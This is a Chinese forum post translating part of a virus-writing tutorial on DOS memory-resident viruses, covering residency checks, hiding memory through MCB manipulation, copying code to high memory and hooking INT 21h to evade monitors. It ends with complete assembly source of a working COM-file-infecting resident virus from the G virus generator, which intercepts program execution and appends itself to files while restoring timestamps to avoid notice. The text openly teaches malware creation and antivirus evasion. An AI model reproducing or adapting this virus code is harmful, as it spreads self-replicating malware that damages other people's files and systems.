• 标 题:Billy Belceb病毒编写教程(DOS篇)---驻留内存病毒
  • 作 者:onlyu
  • 时 间:2004年2月10日 06:24
  • 链 接:http://bbs.pediy.com

【更多的酷病毒:驻留内存病毒(RESIDENT viruses)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    如果你已经读到这里,而且你还活着,那你将会从这里走向光明:)
    下面开始有趣的东西给你读,让我写了。

%什么是驻留内存程序?%
~~~~~~~~~~~~~~~~~~~~~~
    好了,首先我给你介绍的是相反的情况:)
    当我们执行一个非驻留内存程序(如edit之类的普通程序)时,DOS会给它分配确定的内存,但是这段内存在程序终止的时候将会被重新分配(利用INT 20h,或者INT 21h如著名的4Ch)。
    而一个驻留内存程序执行的时候和一般的程序一样,但是它在程序终止的时候将会留一段程序在内存中,不会被重新分配。驻留内存程序(也叫TSR = Terminate and Stay Resident ) ,通常会代替某些中断,写上它自己的代码,来执行它们设计的任务。TSR程序有什么用途呢?我们可以用来破解(偷取口令),编我们自己酷工具...当然所有这些取决于你的想象力啦。当然,我也没忘记...编写驻留内存程序:)

%一个TSR病毒将会做什么?%
~~~~~~~~~~~~~~~~~~~~~~~~
    TSR并不是调用驻留在内存中的病毒的最好的方法。假如你正在执行某个程序,并且它返回到DOS。不,我们不能终止它和保持驻留内存。使用者将会注意到有些不对劲。我们必须返回和保持驻留内存:) TSR仅仅是一个缩写(不要用错了,我必须加上这一点)。驻留内存病毒能提供给我们一个新世界。我们可以编写出能感染更多程序的病毒,更安全...当检测到有企图打开/读文件的操作我们可以给文件杀毒(想象一下,查杀毒工具将会什么也发现不了),我们可以hook查杀毒工具所要使用的函数来欺骗它们,我们可以减去病毒的大小以逃过外行的眼睛(当然也包括专家的啦)。

;--------从这儿开始剪切----------------------------------------------------
; 这个程序将会检测它是不是已经在内存中了,如果已经在内存中了,它将会给我们提
; 示信息。如果没有,它将会驻留到内存中,并显示另外一个信息。

       .model  tiny
       .code
  org  100h

start:
  jmp  fuck

newint21:
  cmp  ax,0ACDCh    ; Are user caliing our function?
  je  is_check    ; If yes, answer the call
  jmp  dword ptr cs:[oldint21] ; Else jump to original int 21

is_check:
  mov  ax,0DEADh    ; We answer it
  iret        ; And make an interrupt return :)

oldint21  label dword
int21_off dw  0000h
int21_seg dw  0000h

fuck:
  mov  ax,0ACDCh    ; Residence check
  int  21h      ; Invented function, of course ;)
  cmp  ax,0DEADh    ; Are we here?
  je  stupid_yes    ; If yes, show message 2

  mov  ax,3521h    ; If not, we go and install
  int  21h      ; Function for get INT 21h vectors
  mov  word ptr cs:[int21_off],bx ; We store offset at oldint21+0
  mov  word ptr cs:[int21_seg],es ; We store segment at oldint21+2

  mov  ax,2521h    ; Function for put new int 21 handler
  mov  dx,offset newint21  ; where is it located
  int  21h

  mov  ax,0900h    ; Show message 1
  mov  dx,offset msg_installed
  int  21h

  mov  dx,offset fuck+1  ; Make resident from offset 0 until
  int  27h      ; offset in dx using int 27h
          ; This will also terminate program<g>

stupid_yes:
  mov  ax,0900h    ; Show message 2
  mov  dx,offset msg_already
  int  21h
  int  20h      ; Terminate program.

msg_installed db "Stupid Resident not installed. Installing...$"
msg_already   db "Stupid Resident is alive and kicking your ass!$"

end   start

;-----到这儿为止剪切-----------------------------------------------------

     这个小例子不能被用来编写一个病毒...为什么呢?INT 27h,当把一个程序放到内存中后,就会终止当前的程序。把代码放到内存中,利用INT 20h或其它任何方法来终止当前程序的执行也是一样。
     那么...我们该利用什么来编写一个病毒呢?

%TSR病毒算法%

     我们可以按如下步骤(模仿在病毒编写中很好...):

1.检查程序是否已经驻留内存(是,跳到5;否,继续)
2.开辟我们所需要的内存
3.复制病毒主体到内存中
4.获得中断向量,保存它们并用我们的代替
5.恢复目标文件
6.返回控制权

%驻留内存检测%
~~~~~~~~~~~~~~
    当我们编写一个驻留内存程序时,我们必须至少检查一次看看我们的程序是否已被安装了。通常,它是一个创造函数,当我们调用它,这个函数给我们返回一个确定的值(当然是我们选择的了)或者如果它没有驻留内存,它使AL=00。
    让我们看一个例子:

  mov  ax,0B0B0h
  int  21h
  cmp  ax,0CACAh
  je  already_installed
  [...]

    如果它已经驻留内存了,我们就恢复感染的文件,并把控制权返回给原来的程序。如果没有驻留内存,我们就把它驻留内存。INT 21h 对病毒的处理将会如下:

 int21handler:
  cmp  ax,0B0B0h
  je  install_check
  [...]

  db  0EAh
 oldint21:
  dw  0,0

 install_check:
  mov  ax,0CACAh
  iret

%分配内存修改MCB%
~~~~~~~~~~~~~~~~~
    开辟内存用得最多的就是MCB(Memory Control Block)。有两个方法来达到这个目的:使用DOS和直接实现。看到每种方法都这么痛苦,让我们看看什么是MCB。
    内存控制模块(MCB)是由DOS建立的每个程序使用的控制块。这个模块的长度是一段(16字节),它总是在分配内存之前分配。啊!个数总能被16整除。如果是一个COM文件,我们可以利用程序的代码段减1(CS-1)得到MCB的位置,如果是EXE文件,则利用DS(记住,在EXE文件中,CS<>DS)。你可以在结构体一章查看MCB的结构(在上一章我们已经看过了)。
    使用DOS修改MCB:
    在我写的第一个病毒Antichrist Superstar中,我使用的方法简单而有效。首先,我们请求DOS对所有的内存(BX=FFFFh)使用INT 21h的4Ah功能,这是一个很难达到的值。通过这个功能,我们将会看到我们申请了太多的内存,所以,在BX中我们将会得到我们所能使用的所有内存。所以我们把这个值减去病毒代码的长度的段数(((size+15)/16)+1)然后再次调用4Ah功能。现在该是把自由内存减去我们想要的内存数的时候了。我们可以利用"sub word ptr ds:[2],(size+15)/16+1",然后利用BX中的以段为基数的代码长度,调用DOS的48h功能。这个将会把开辟的块的段返回到AX中,所以我们把它放到ES中,把AX减1,并把新值赋给DS。现在我们在DS中得到了MCB,所以我们该操作它了。我们必须赋给DS:[0]字节"Z"或者"M"(依赖于你的需要,参阅MCB结构),在DS:[1]里是字0008,为了告诉DOS这个块是它自己的,然后它不会覆盖它。

     Arf,Arf...在这么一大段理论之后,一些代码将是多么好啊。下面的代码将会按你的需要配置MCB:

  mov  ax,4A00h    ; Here we request for an impossible
  mov  bx,0FFFFh    ; amount of free memory
  int  21h

  mov  ax,4A00h    ; And we substract the virus size in
  sub  bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
  int  21h      ; ( in BX ) and request for space.

  mov  ax,4800h    ; Now we make DOS substract 2 da free
  sub  word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
  mov  bx,(virus_size+15)/16  ; paragraphs
  int  21h

  mov  es,ax      ; In AX we get the segment of our
  dec  ax      ; memory block ( doesn't care if EXE
  mov  ds,ax      ; or COM ), we put in ES, and in DS
          ; ( substracted by 1 )
  mov  byte ptr ds:[0],"Z"     ; We mark it as last block
  mov  word ptr ds:[1],08h  ; We say DOS the block is of its own

     相当简单而有效...然而,这仅仅是操作内存,它不能把你的代码移到内存中去。这非常简单,但是我们将会在后面看到。
  
     直接修改MCB:

    这种方法方式基本上差不多,但是达到我们不得的方法不同。使得这种方法更好的原因是利用这种方法:一个TSR病毒查杀监视程序不会知道任何内存操作因为我们没有使用任何中断:)
    我们所做的第一件事是把DS赋给AX(因为我们利用段不能做任何事),我们把它减1,然后再把它赋给DS。现在DS指向MCB。如果你还记得MCB的结构,在偏移地址3处,我们将会得到当前内存的段数。所以我们需要把这个值减去我们打算使用的内存数。我们将要使用BX(为什么不?)如果我们看一下过去的介绍,我们将会记起MCB在PSP的上面16字节处。所有的PSP偏移地址要向后移16(10h)字节。我们需要改变TOM的值,在PSP的偏移地址2处,但是现在我们不会指向PSP,我们要指向MCB。我们能做的是什么呢?我们使用偏移地址12h(2+16=18=12h),而不使用偏移地址2。我们把它减去所需内存的节数(记住,病毒的大小+15除以16)。这个偏移地址的新值是我们程序的新段,并且我们在一个新段中要使用它。我们打算使用附加段(ES)。但是我们可以对ES和这个位置(也就是段操作的限制)进行mov操作。我们必须要使用一个暂时的寄存器(temporal rigister)。AX最好不过了。现在我们标志ES:[0] "Z"(在我们把DS作为段寄存器处理之前),ES:[1]  8。
     介绍完这些总是烦人的理论之后,下面是代码:

  mov  ax,ds      ; DS = PSP
  dec  ax      ; We use AX as temporal register
  mov  ds,ax      ; DS = MCB

  mov  bx,word ptr ds:[03h]  ; We put in BX the amount of memory
  sub  bx,((virus_size+15)/16)+1 ; and then we put in BX for change
  mov  word ptr ds:[03h],bx  ; We put it in its original place

  mov  byte ptr ds:[0],"M"     ; Mark as not last block

  sub  word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size
          ; to TOM size
  mov  ax,word ptr ds:[12h]  ; Now offset 12h handles the new seg.
  mov  es,ax      ; And we need AX for put it in ES

  mov  byte ptr es:[0],"Z"     ; Mark as last block
  mov  word ptr es:[1],0008h  ; Mark DOS as owner

%把病毒放到内存中%
~~~~~~~~~~~~~~~~~~
    在驻留内存病毒的编写中,这是最简单的。如果你知道我们使用MOVSB这个指令(当然还有MOVSW,MOVSD...)能做什么,那你就知道由多简单了。而我们必须做的是确定移动什么和移动多少数据。这相当简单,可以想象,要移动的数据的开始总是等于偏移地址的变化量,假如我们已经把偏移地址的变化量赋给BP,我们所要做的所有事情就是把BP的内容赋给SI,并把病毒的大小以字节的形式赋给CX(或者如果我们想用MOVSW就以字的形式)。记住DI必须为0,使用xor di,di就足够了(一种使指令mov di,0的优化方法)。让我们来看代码...

  push  cs      ; Adjust segments
  pop  ds      ; CS = DS

  xor  di,di      ; DI = 0 ( Top Of Memory )
  mov  si,bp      ; SI = offset virus_start
  mov  cx,virus_size    ; CX = virus_size
  rep  movsb      ; Move bytes from DS:SI to ES:DI

%钩住中断(Hooking interrupts)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    在把我们的病毒移入内存之后,我们需要修改它使得至少能感染其它文件。在所有的驻留内存病毒中,通常是INT 21h,但是在一个启动扇区病毒(或者分成多部分还感染软盘和MBR的病毒)中,我们还必须钩住INT 13h。我们要钩住的中断取决于我们的需要。有两种钩住中断的方法:使用DOS或者检测钩子。在编写我们的处理程序时我们必须强调一些东西:

    首先,我们必须在开始处理程序之前使用压栈来保存所有的寄存器的值(标志也要保存),而且在我们要把控制权返回给原先程序的时候,要把它们所有都出栈。

    其次,我们必须记住我们永远不要使用那些已经被我们钩住了的中断,否则我们将会陷入无限循环。让我们想象一下我们已经钩住了INT 21h的3Dh功能(打开文件),我们调用这个钩住的功能(或者另外一个我们自己的中断处理程序)...计算机将会挂机了。为此,我们应该按照如下方法假调用INT 21h:

 CallINT21h:
  pushf
  call  dword ptr cs:[oldint21]
  iret

    我们还能做另外一件事情。我们能够重定向另外一个中断,使它指向旧的INT 21h。一个好的选择看上去是INT 03h:它是一个好的反调试的花招,使得我们的代码更小(INT 03h的编码是CCh,只有一个字节,而普通的中断的编码为CDh XX,XX是我们中断号的十六进制数),而且我们忘记了调用被钩住的功能的所有问题。当我们要把控制权交给原先的INT 21h的时候,最好恢复所有的被钩住的被重定向到INT 21h的中断。

    利用DOS钩住中断:
     
    我们必须在放入我们自己的向量之前获得原先中断的向量。这个可以利用INT 21h 的35h功能来实现。让我们来看一下这个功能的参数:

 AH=35h
 AL=中断号

    调用之后,它将会返回如下值:
AX=Preserved
ES=Interrupt Handler Segment
BX=Interrupt Handler Offset

    调用这个功能之后,我们把ES:BX保存到我们的代码的一个变量里,以备后用,并设置一个新的中断处理句柄。我们必须使用的功能是INT 21h的25h。下面给出参数:

 AH = 25h
 AL = Interrupt Number
 DS = New Handler Segment
 DX = New Handler Offset

    让我们看看通过使用DOS来实现中断钩子的例子:

  push  cs      ; Adjust segments
  pop  ds      ; CS = DS

  mov  ax,3521h    ; Get interrupt vector function
  int  21h

  mov  word ptr [int21_off],bx ; Now store variables
  mov  word ptr [int21_seg],es

  mov  ah,25h      ; Put new interrupt
  lea  dx,offset int21handler  ; Offset to new handler
  int  21h
  [...]

 oldint21  label dword
 int21_off  dw 0000h
 int21_seg  dw 0000h

    直接中断钩子:

    如果我们忘记了DOS,我们将赢得我曾经提过的东西(在直接MCB修改中)。你还记得中断向量表的结构吗?它在0000:0000处开始,到0000:0400h处为止。这里有我们所能使用的所有中断,从INT 00h到INT FFh。让我们看看一些代码:

  xor  ax,ax      ; Make zero AX
  mov  ds,ax      ; For make zero DS ( now AX=DS=0 )
  push  ds      ; We nned to restore DS later

  lds  dx,ds:[21h*4]    ; All interrupts are in int number*4
  mov  word ptr es:int21_off,dx ; Where save offset
  mov  word ptr es:int21_seg,ds ;   "     "  segment

  pop  ds      ; Restore DS
  mov  word ptr ds:[21h*4],offset int21handler ; The new handler
  mov  word ptr ds:[21h*4+2],es

%关于驻留内存的最后的讨论%

    这并不是这篇教程的最后,我们还要讨论很多病毒呢,所有这些话题将在接下来的讨论中见到,但是我认为你现在应该知道怎么编写驻留内存病毒了。从现在起到最后的所有讨论都是有关于TSR病毒的。当然了,如果我说有些是运行期病毒的话,不要尖叫呦!:)
    在结束这一课的时候,我必须给出一个完整的驻留内存病毒。这里我还要使用G病毒,它是一个很蹩脚的感染COM的病毒。

;-------从这里开始剪切----------------------------------------------------
; 这段代码注释得和运行期病毒一样好。我希望到这里后所有得问题都很清楚了。
; Virus generated by G 0.70
; 作者 Dark Angel 属于Phalcon/Skism
; 汇编:TASM /m3 lame.asm
; 连接: Tlink /t lame.obj

checkres1  =  ':)'
checkres2  =  ';)'

  .model  tiny
  .code

  org  0000h

start:
  mov  bp, sp
  int  0003h
next:
  mov  bp, ss:[bp-6]
  sub  bp, offset next   ; Get delta offset

  push  ds
  push  es

  mov  ax, checkres1    ; Installation check
  int  0021h
  cmp  ax, checkres2    ; Already installed?
  jz  done_install

  mov  ax, ds
  dec  ax
  mov  ds, ax

  sub  word ptr ds:[0003h], (endheap-start+15)/16+1
  sub  word ptr ds:[0012h], (endheap-start+15)/16+1
  mov  ax, ds:[0012h]
  mov  ds, ax
  inc  ax
  mov  es, ax
  mov  byte ptr ds:[0000h], 'Z'
  mov  word ptr ds:[0001h], 0008h
  mov  word ptr ds:[0003h], (endheap-start+15)/16

  push  cs
  pop  ds
  xor  di, di
  mov  cx, (heap-start)/2+1  ; Bytes to move
  mov  si, bp      ; lea  si,[bp+offset start]
  rep  movsw

  xor  ax, ax
  mov  ds, ax
  push  ds
  lds  ax, ds:[21h*4]    ; Get old int handler
  mov  word ptr es:oldint21, ax
  mov  word ptr es:oldint21+2, ds
  pop  ds
  mov  word ptr ds:[21h*4], offset int21 ; Replace with new handler
  mov  ds:[21h*4+2], es  ; in high memory

done_install:
  pop  ds
  pop  es
restore_COM:
  mov  di, 0100h    ; Where to move data
  push  di      ; In what offset will the ret go
  lea  si, [bp+offset old3]  ; What to move
  movsb        ; Move 3 bytes
  movsw
  ret        ; Return to 100h

old3    db  0cdh,20h,0

int21:
  push  ax
  push  bx
  push  cx
  push  dx
  push  si
  push  di
  push  ds
  push  es

  cmp  ax, 4B00h    ; execute?
  jz  execute
return:
  jmp  exitint21
execute:
  mov  word ptr cs:filename, dx
  mov  word ptr cs:filename+2, ds

  mov  ax, 4300h    ; Get attributes for later restore
  lds  dx, cs:filename
  int  0021h
  jc  return
  push  cx
  push  ds
  push  dx

  mov  ax, 4301h    ; clear file attributes
  push  ax      ; save for later use
  xor  cx, cx
  int  0021h

  lds  dx, cs:filename   ; Open file for read/write
  mov  ax, 3D02h
  int  0021h
  xchg  ax, bx

  push  cs      ; Adjust segments
  pop  ds

  push  cs
  pop  es      ; CS=ES=DS

  mov  ax, 5700h    ; get file time/date
  int  0021h
  push  cx
  push  dx

  mov  cx, 001Ah    ; Read 1Ah bytes of file
  mov  dx, offset readbuffer
  mov  ah, 003Fh
  int  0021h

  mov  ax, 4202h    ; Move file pointer to the end
  xor  dx, dx
  xor  cx, cx
  int  0021h

  cmp  word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
  jz  jmp_close
  mov  cx, word ptr [offset readbuffer+1] ; jmp location
  add  cx, heap-start+3  ; convert to filesize
  cmp  ax, cx      ; equal if already infected
  jl  skipp
jmp_close:
  jmp  close
skipp:

  cmp  ax, 65535-(endheap-start) ; check if too large
  ja  jmp_close    ; Exit if so

  mov  di, offset old3   ; Restore 3 first bytes
  mov  si, offset readbuffer
  movsb
  movsw

  sub  ax, 0003h
  mov  word ptr [offset readbuffer+1], ax
  mov  dl, 00E9h
  mov  byte ptr [offset readbuffer], dl
  mov  dx, offset start
  mov  cx, heap-start
  mov  ah, 0040h    ; concatenate virus
  int  0021h

  xor  cx, cx
  xor  dx, dx
  mov  ax, 4200h    ; Move pointer to the beginning
  int  0021h


  mov  dx, offset readbuffer  ; Write first 3 bytes
  mov  cx, 0003h
  mov  ah, 0040h
  int  0021h


close:
  mov  ax, 5701h    ; restore file time/date
  pop  dx
  pop  cx
  int  0021h

  mov  ah, 003Eh    ; Close file
  int  0021h

  pop  ax      ; restore file attributes
  pop  dx      ; get filename and
  pop  ds
  pop  cx      ; attributes from stack
  int  0021h

exitint21:
  pop  es
  pop  ds
  pop  di
  pop  si
  pop  dx
  pop  cx
  pop  bx
  pop  ax

  db  00EAh      ; return to original handler
oldint21  dd  ?

signature  db  '[PS/G齗',0

heap:
filename  dd  ?
readbuffer  db  1ah dup (?)
endheap:
  end  start
;-------到这里为止剪切----------------------------------------------------

    对不住了,我知道我实在是太懒了。你也可以认为这是一种懒惰的态度,可能就是吧。但是只要想想在写这篇教程的时候我正在编写一些病毒和为DDT杂志写文章,所以我就没有足够的时间来为这篇教程写我自己的病毒了。嗨,没有人因为这篇文章给我报酬,你知道吗?:)